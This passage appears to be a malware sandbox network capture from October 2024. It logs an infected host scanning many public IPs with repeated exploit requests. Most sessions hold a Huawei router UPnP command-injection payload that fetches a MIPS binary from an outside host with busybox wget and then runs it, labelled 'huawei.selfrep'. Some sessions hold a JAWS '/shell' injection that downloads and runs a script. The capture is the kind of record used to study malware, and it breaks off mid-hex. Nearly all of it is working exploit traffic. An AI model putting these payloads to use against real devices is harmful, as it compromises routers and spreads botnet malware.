6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.14	34518	197.78.47.248	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.514971972 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.14	51458	41.140.60.225	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.517966032 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.14	51250	41.33.227.235	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.520499945 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.14	50110	197.167.89.226	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.523977041 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.14	42090	41.59.142.173	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.526885033 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.14	46164	156.136.27.184	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.529925108 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.14	60010	156.196.4.63	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.532293081 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.14	57582	197.111.212.103	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.535911083 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.14	59294	183.101.116.38	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.538775921 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.14	54564	41.157.56.29	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.540414095 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.14	47928	59.213.205.136	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.543096066 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.14	52572	197.130.19.23	37215

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.548032045 CEST	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 